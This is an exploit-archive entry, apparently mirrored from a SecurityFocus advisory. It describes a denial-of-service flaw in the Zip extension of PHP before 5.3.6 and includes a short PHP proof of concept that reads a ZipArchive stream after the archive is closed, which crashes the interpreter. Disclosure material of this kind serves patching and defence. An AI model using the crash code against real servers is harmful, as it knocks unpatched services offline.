PHP 5.3.x ‘Zip’ Extension – ‘stream_get_contents()’ Denial of Service
source: https://www.securityfocus.com/bid/46969/info PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension. Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed. Versions prior to PHP 5.3.6 are vulnerable. <?php $target_file = 'META-INF/MANIFEST.MF'; $za = new ZipArchive(); if ($za->open('test.jar') !== TRUE) { return FALSE; } if ($za->statName($target_file) !== FALSE) { $fd = $za->getStream($target_file); } else { $fd = FALSE; } $za->close(); if (is_resource($fd)) { echo strlen(stream_get_contents($fd)); } ?> |